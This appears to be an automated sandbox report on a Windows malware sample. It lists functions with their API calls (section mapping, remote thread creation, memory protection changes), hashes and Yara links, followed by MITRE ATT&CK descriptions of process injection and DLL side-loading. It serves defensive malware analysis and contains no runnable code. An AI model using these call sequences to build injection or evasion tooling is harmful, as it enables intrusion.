API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 1ec31b479fd08731287e8d0e55fe4d339ef2a67852c713b723290c7befe848b2
Instruction ID: c9324331886a871ff7b65cfc1a3adde32c11ca3f72b54674233341407885f4d3
Opcode Fuzzy Hash: 1ec31b479fd08731287e8d0e55fe4d339ef2a67852c713b723290c7befe848b2
Instruction Fuzzy Hash: 7E511A71900249BBEB209F91CC48FEF7BB8EF85B00F144169F911AA2E5D7759945CB24

Function 00401729 Relevance: 4.7, APIs: 3, Instructions: 179
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000005.00000002.2103363796.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_hehbwci.jbxd

Similarity

API ID: Section$View$Create
String ID:
API String ID: 33071139-0
Opcode ID: b6b7661ceeaa473891237c732f5305db374e8f07cd43916073c5c2763a81e662
Instruction ID: bb29a515743844fa426f6922f48e3936f90c9c278b9ffb8c9c9d974ad6050a99
Opcode Fuzzy Hash: b6b7661ceeaa473891237c732f5305db374e8f07cd43916073c5c2763a81e662
Instruction Fuzzy Hash: 69519272904104EBEB249A55CC44FAA77B5FF85700F24813BE842772F0D67C6942E65B

Function 00403005 Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 00403139
NtTerminateProcess.NTDLL ref: 00403152

Memory Dump Source

Source File: 00000005.00000002.2103363796.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_hehbwci.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction ID: 9349ae55c142a47270c9c73eabb89239111d3cd47c98212c67b606f4e0ccd907
Opcode Fuzzy Hash: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction Fuzzy Hash: C5412531218E088FD7A8EF6CA88576377D5F798311F6643AAE809D3389EA34DC5187C5

Function 0041CC80 Relevance: 21.2, APIs: 1, Strings: 11, Instructions: 227
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(022C7958,022C7FB4,00000040,?,0BB7EA7B,4BBE82DD,2FC43CC7,52860AB1,6AD71B2C,43FE4454,34026A25), ref: 0041D508

Strings

6, xrefs: 0041CDF8
F(+, xrefs: 0041CD3E
X2R, xrefs: 0041CEAF
O8##, xrefs: 0041CF14
v;^:, xrefs: 0041D0D8
U99x, xrefs: 0041CDE2
)?u, xrefs: 0041D395
R'._, xrefs: 0041D080
o:?, xrefs: 0041D31D
:/X, xrefs: 0041CFBB
dFfX, xrefs: 0041CFA5

Memory Dump Source

Source File: 00000005.00000002.2103383707.000000000040F000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_40f000_hehbwci.jbxd

Similarity

API ID: ProtectVirtual
String ID: )?u$:/X$F(+$O8##$R'._$U99x$X2R$dFfX$v;^:$o:?$6
API String ID: 544645111-975362989
Opcode ID: 985ff9a8783156675320d5b9838888b25fc8951c43582f0a07c71af294fdf713
Instruction ID: ffaf80d715431d49bc4616ad809a760da3813b36c7eddc0dadf79f6ac9c1cc88
Opcode Fuzzy Hash: 985ff9a8783156675320d5b9838888b25fc8951c43582f0a07c71af294fdf713
Instruction Fuzzy Hash: A00294B440E385CBD2B49F469689B8EBBE0BB91708F608E0CD6DD1A214CB754589CF97

Function 0245003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0245024D

Strings

kernel32.dll, xrefs: 0245008F, 02450095
cess, xrefs: 0245018D

Memory Dump Source

Source File: 00000005.00000002.2104904098.0000000002450000.00000040.00001000.00020000.00000000.sdmp, Offset: 02450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2450000_hehbwci.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: c9fbaced24b664d85f2f51353405923b56babc5c95e3065eb613141c6d6e0ca0
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 3D525D75A01229DFDB64CF58C985BADBBB1BF09304F1480DAE94DA7352DB30AA85CF14

Function 0041D9F0 Relevance: 4.6, APIs: 3, Instructions: 50
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(00000000), ref: 0041DA34
GetVolumeInformationW.KERNEL32(00420C34,?,00000000,?,?,?,?,00000000), ref: 0041DA5D
lstrcatW.KERNEL32(?,00420C68), ref: 0041DAA0

Memory Dump Source

Source File: 00000005.00000002.2103383707.000000000040F000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_40f000_hehbwci.jbxd

Similarity

API ID: FileInformationTypeVolumelstrcat
String ID:
API String ID: 880640308-0
Opcode ID: 2f2dc669c62f6113b9801edf6543cb5ec700c74db123e39509a3d80e0da52efe
Instruction ID: 15a5cd5b2f8eb351202171c3d27230bdb0bdf3a9c172189cee9abf2db0b3138f
Opcode Fuzzy Hash: 2f2dc669c62f6113b9801edf6543cb5ec700c74db123e39509a3d80e0da52efe
Instruction Fuzzy Hash: 941196B1E45214EFC710CFD4F944BE9B7B8FB48705F5085BAE11196180DBB81A86CF59

Function 026C1057 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 026C107F
Module32First.KERNEL32(00000000,00000224), ref: 026C109F

Memory Dump Source

Source File: 00000005.00000002.2105350044.00000000026BE000.00000040.00000020.00020000.00000000.sdmp, Offset: 026BE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_26be000_hehbwci.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: c50e198c7e42bcde2ec4eaccda3ccab24975a470fdd5f1e4e1b882f974d2c40d
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: B3F0C2322003516BD7303AB4A88CB7E76E8EF4A235F20056DE646A11C0CF70E8058A61

Function 02450E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02450223,?,?), ref: 02450E19
SetErrorMode.KERNELBASE(00000000,?,?,02450223,?,?), ref: 02450E1E

Memory Dump Source

Source File: 00000005.00000002.2104904098.0000000002450000.00000040.00001000.00020000.00000000.sdmp, Offset: 02450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2450000_hehbwci.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: e1b12fe88f2fad782c68d0e31ab567b73fc92b09f825ff25b4754dc4cb9b2f3f
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 0CD0123514512877D7002A94DC09BCE7B1CDF09B66F108011FB0DD9181C770954046E5

Function 00401C23 Relevance: 1.7, APIs: 1, Instructions: 207
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE ref: 00401D2A

Memory Dump Source

Source File: 00000005.00000002.2103363796.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_hehbwci.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 9c1e9cccb91d99d954687fe94e70fe720bb5ad39e5d31c5bbb3f34df5b56c3ae
Instruction ID: e299e37b8b1df7c2a428e8bb3617d2710998a2074ebf5d6b59d9fc61523cb6f3
Opcode Fuzzy Hash: 9c1e9cccb91d99d954687fe94e70fe720bb5ad39e5d31c5bbb3f34df5b56c3ae
Instruction Fuzzy Hash: 1551E032548B418BDB02BB74D44155AB760AF9A331B2847FBC8B27A1F0DA39C41387C7

Function 00401CCA Relevance: 1.6, APIs: 1, Instructions: 111
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE ref: 00401D2A

Memory Dump Source

Source File: 00000005.00000002.2103363796.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_hehbwci.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: ee18ed957e5d8fd6fe97fe65ba6efd433a2767e2441bc6e0a6dd3a94733726b3
Instruction ID: 2019c60d8d756749ae2e0594eba57d106c6ce98ddefb8964d76818405d97e010
Opcode Fuzzy Hash: ee18ed957e5d8fd6fe97fe65ba6efd433a2767e2441bc6e0a6dd3a94733726b3
Instruction Fuzzy Hash: 0B31BD23609941DBC702FF64E580993B724BF9B351B3485E7D4937A2A4EA3AD4338787

Function 00401CD5 Relevance: 1.6, APIs: 1, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE ref: 00401D2A

Memory Dump Source

Source File: 00000005.00000002.2103363796.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_hehbwci.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: bd927fed9186f620e99b1458b04a6cb2ad46514be84c18feedda195de39cb596
Instruction ID: 84bd3a690f0247306fb1fa0ff4296918b7e83c91f35f317657599bdfd2f51459
Opcode Fuzzy Hash: bd927fed9186f620e99b1458b04a6cb2ad46514be84c18feedda195de39cb596
Instruction Fuzzy Hash: 0B31AC336059419BC702FF64E190993B320BF9B341B3886E7D4D26A2A4DA3694338783

Function 00401CE8 Relevance: 1.6, APIs: 1, Instructions: 105memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE ref: 00401D2A

Memory Dump Source

Source File: 00000005.00000002.2103363796.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_hehbwci.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 469a71db9a512d42d5fed120fbd7df9fe46e9529541fcb62269fa8049ec6c364
Instruction ID: f0f4878299061b73063b93e34ea886a159c8618c5cae245c0e522450c8d06431
Opcode Fuzzy Hash: 469a71db9a512d42d5fed120fbd7df9fe46e9529541fcb62269fa8049ec6c364
Instruction Fuzzy Hash: 47317C336059419BC702FF64E190993B324BF9B351B3885E7D4927A2A4DA3A94339787

Function 00401CEB Relevance: 1.6, APIs: 1, Instructions: 100memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE ref: 00401D2A

Memory Dump Source

Source File: 00000005.00000002.2103363796.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_hehbwci.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: e8341f8f5e2f71de27e30eccaec3c4820a60556a34e0eece0aa28621751d1d79
Instruction ID: 5946a9f4b49d3d2b3432c33103b6b784d7caefca3cf00678a339ae37275966c9
Opcode Fuzzy Hash: e8341f8f5e2f71de27e30eccaec3c4820a60556a34e0eece0aa28621751d1d79
Instruction Fuzzy Hash: C5218E236059419BCB02FF74E190993B724AE9B351B2886E7D4927A6A4DA3694338783

Function 00401CEE Relevance: 1.6, APIs: 1, Instructions: 100memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE ref: 00401D2A

Memory Dump Source

Source File: 00000005.00000002.2103363796.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_hehbwci.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 8baa353fa8bea5cd2d4cf4c9d24d34266b39332e150569f710b4431279bcda07
Instruction ID: 461e80e40723c5157f6bacff0bdb58e681599cf1f2829c6c4aa551d367e5d2a4
Opcode Fuzzy Hash: 8baa353fa8bea5cd2d4cf4c9d24d34266b39332e150569f710b4431279bcda07
Instruction Fuzzy Hash: 5E21A4335059419FC702FF74E150893F724BE9B351B288AE7C4D26A6A5DA369437CB83

Function 00401CFE Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE ref: 00401D2A

Memory Dump Source

Source File: 00000005.00000002.2103363796.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_hehbwci.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 535ab7110f43846469d138036ff09167de867c0362d30e37a302cd9859231c72
Instruction ID: 9bd64a55ef0e6d05d786bfe3ad9f53275417bf4e045850c8d3495e84d7f2a4cb
Opcode Fuzzy Hash: 535ab7110f43846469d138036ff09167de867c0362d30e37a302cd9859231c72
Instruction Fuzzy Hash: BB21B323501D429FCB02FF74E190883F724BEDF35172486D6D4D269655DA3684738783

Function 00401D16 Relevance: 1.6, APIs: 1, Instructions: 88memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE ref: 00401D2A

Memory Dump Source

Source File: 00000005.00000002.2103363796.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_hehbwci.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 103d2295f5f21c8b5108fe1742efc3207eca7693211c4e3342358da7015b4894
Instruction ID: 77190e0f23bb221504da128019f00248055c08475e322dc54891d85dc81afa78
Opcode Fuzzy Hash: 103d2295f5f21c8b5108fe1742efc3207eca7693211c4e3342358da7015b4894
Instruction Fuzzy Hash: F021A223611D425FCB03FF74E194883F724BA9F3517288AD5D4E269668DA268433CB82

Function 0041D520 Relevance: 1.5, APIs: 1, Instructions: 9libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(00424ED0,0041D945), ref: 0041D550

Memory Dump Source

Source File: 00000005.00000002.2103383707.000000000040F000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_40f000_hehbwci.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 40dcabdc535276487fd4439480a856f59d3f389268b30cd9a6c1a4ffe39e98f0
Instruction ID: a0e2f26091b3fc8c26fd1af7b13f2790643f76c88d5845c285f01d34eb581d14
Opcode Fuzzy Hash: 40dcabdc535276487fd4439480a856f59d3f389268b30cd9a6c1a4ffe39e98f0
Instruction Fuzzy Hash: E5D0C924669380CAEB21CF10FA097003F69F790708BCA50B89060CA233C3F8006ACB1D

Function 0040193E Relevance: 1.3, APIs: 1, Instructions: 63sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000005.00000002.2103363796.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_hehbwci.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 71f746a8505fe108ed8da4cdd9973d259565c9a68103dfaed9332816d2b6fe75
Instruction ID: 4db8ba0b08380255fc5aa34ea3e13561f838480f888933e927f1079a64c57490
Opcode Fuzzy Hash: 71f746a8505fe108ed8da4cdd9973d259565c9a68103dfaed9332816d2b6fe75
Instruction Fuzzy Hash: 9A11CEF120C208FBEB006A959D62E7A3268AB40714F304137BA43790F1D57E8923F76B

Function 0040194A Relevance: 1.3, APIs: 1, Instructions: 57sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000005.00000002.2103363796.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_hehbwci.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: da38201a32f90b98934b488a65b371e434f1df0c2a04d29242935d2455de016b
Instruction ID: 0371ecd990254dd767a604aa567081474727263e4e3774a05daf7e54a603023c
Opcode Fuzzy Hash: da38201a32f90b98934b488a65b371e434f1df0c2a04d29242935d2455de016b
Instruction Fuzzy Hash: A901A1B120C204EBDB009A95DD62E7A3364AB40314F30453BBA437A1F1C67D9913E72B

Function 0040195C Relevance: 1.3, APIs: 1, Instructions: 52sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000005.00000002.2103363796.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_hehbwci.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 5e3dbe5dd20a4fb5b92f76c9b13fda5f390ba4e8200e1751a23b03b4d52e4fb4
Instruction ID: 3b2e7dc224df146109f963d95c0ead7a9e1b698bafe8296883a7ac19869aede1
Opcode Fuzzy Hash: 5e3dbe5dd20a4fb5b92f76c9b13fda5f390ba4e8200e1751a23b03b4d52e4fb4
Instruction Fuzzy Hash: BA0171B5208204EADB006AD5DD71E7A3269AB44314F304537BA43791F1D57D8912F72B

Function 00401973 Relevance: 1.3, APIs: 1, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000005.00000002.2103363796.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_hehbwci.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: acb1fae293eb73a10805bbdd55e216ebbc49928181db8483aeacc3243d44ee5b
Instruction ID: 4b03b50232763afd30ab0c608f125a1a80ed78bb00471cf4ed55e3bed959d7b6
Opcode Fuzzy Hash: acb1fae293eb73a10805bbdd55e216ebbc49928181db8483aeacc3243d44ee5b
Instruction Fuzzy Hash: F80184B5208204EBDB006AD5DD71EBA3269AB44354F304537BA43790F1C57D8912F72B

Function 00401964 Relevance: 1.3, APIs: 1, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000005.00000002.2103363796.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_hehbwci.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: e5353c19dd0b10c2d892503bd00f36fba5e3f507ee708bcba0cfbdc82fbef293
Instruction ID: f592bab324d3cd5d6286c78059ef0a1e8702b22de7bd53a4ec4d5e19e7ef6e8c
Opcode Fuzzy Hash: e5353c19dd0b10c2d892503bd00f36fba5e3f507ee708bcba0cfbdc82fbef293
Instruction Fuzzy Hash: 0D0184B5208204EBDB006AC5DD62EBA3265AB44314F204537FA43791F1C57D8912F72B

Function 026C0D16 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 026C0D67

Memory Dump Source

Source File: 00000005.00000002.2105350044.00000000026BE000.00000040.00000020.00020000.00000000.sdmp, Offset: 026BE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_26be000_hehbwci.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 7e81e794a5029d4c7f4efc8421c1e95f907096345d7e4b48f5cfd5450bbf022d
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: A9113C79A00208EFDB01DF98C985E98BBF5EF08350F158094F9489B361D771EA90DF80

Function 00401987 Relevance: 1.3, APIs: 1, Instructions: 46sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000005.00000002.2103363796.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_hehbwci.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 74fb996ba95ec06bb2abe22af5600ab9efc13f551b73dbf86f34961914988ff4
Instruction ID: 68c2b1bb8267a16b47d2b790190fa602822f098e0b694be4ddc2e306b3be1968
Opcode Fuzzy Hash: 74fb996ba95ec06bb2abe22af5600ab9efc13f551b73dbf86f34961914988ff4
Instruction Fuzzy Hash: 2AF086B5208204FADB006BD59D61EBA3768AB44354F204137BA13790F1C57D8912F72B

Function 0040197A Relevance: 1.3, APIs: 1, Instructions: 45sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000005.00000002.2103363796.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_hehbwci.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: f19d6598d7b3f8bbc47500c90c3d0bc6a0ede41a7b6f28d3ccddc132527cc834
Instruction ID: 49220a4dcaca44086484813bdb512237367292e15b320859d1a96440f4f24ef4
Opcode Fuzzy Hash: f19d6598d7b3f8bbc47500c90c3d0bc6a0ede41a7b6f28d3ccddc132527cc834
Instruction Fuzzy Hash: 7801A7B1208244FBDB016BD19D62EB93768AB05354F204537FA53790F2C67D8912E72B

Non-executed Functions

Function 0041D740 Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 215windowtimeCOMMON

Download Yara Rule

APIs

InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0041D7DC
SetActiveWindow.USER32(00000000), ref: 0041D7E3
CreateIcon.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041D7F0
SetKeyboardState.USER32(00000000), ref: 0041D7F7
GetStdHandle.KERNEL32(00000000), ref: 0041D805
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0041D80C
AddAtomW.KERNEL32(00000000), ref: 0041D813
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0041D81B
GetCharWidthW.GDI32(00000000,00000000,00000000,00000000), ref: 0041D82E
FatalAppExitA.KERNEL32(00000000,00000000), ref: 0041D83F
GetUserDefaultLCID.KERNEL32 ref: 0041D87B
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041D889
GetTimeZoneInformation.KERNEL32(00000000), ref: 0041D890
MoveFileExA.KERNEL32(00420C30,00420C20,00000000), ref: 0041D8A1
GetLocaleInfoA.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041D8AB

Part of subcall function 0041CC50: LocalAlloc.KERNEL32(00000000,022C7FB4,0041D8F0), ref: 0041CC58

Strings

tl_, xrefs: 0041D7C1
o[@, xrefs: 0041D7A8
/t, xrefs: 0041D755

Memory Dump Source

Source File: 00000005.00000002.2103383707.000000000040F000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_40f000_hehbwci.jbxd

Similarity

API ID: Char$ActiveAllocAtomByteCreateCurrentDefaultDirectoryEnvironmentExchangeExitFatalFileFreeHandleIconInfoInformationInterlockedKeyboardLocalLocaleMoveMultiStateStringsTimeUserWideWidthWindowZone
String ID: /t$o[@$tl_
API String ID: 3561384033-3634920357
Opcode ID: aa6ef055bebf60c1845bfe76d87d358f85cd57b0cbba025b9639cc9f79b5cd90
Instruction ID: 8514119693cf065204a7e9796b6eeace996b80cc16f33bae765e4b62243eb72b
Opcode Fuzzy Hash: aa6ef055bebf60c1845bfe76d87d358f85cd57b0cbba025b9639cc9f79b5cd90
Instruction Fuzzy Hash: 7F51E9F1D44310AFD310ABB5EDC9AABBB6CEB4C355F10483AF54552152CA388C858FB9

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

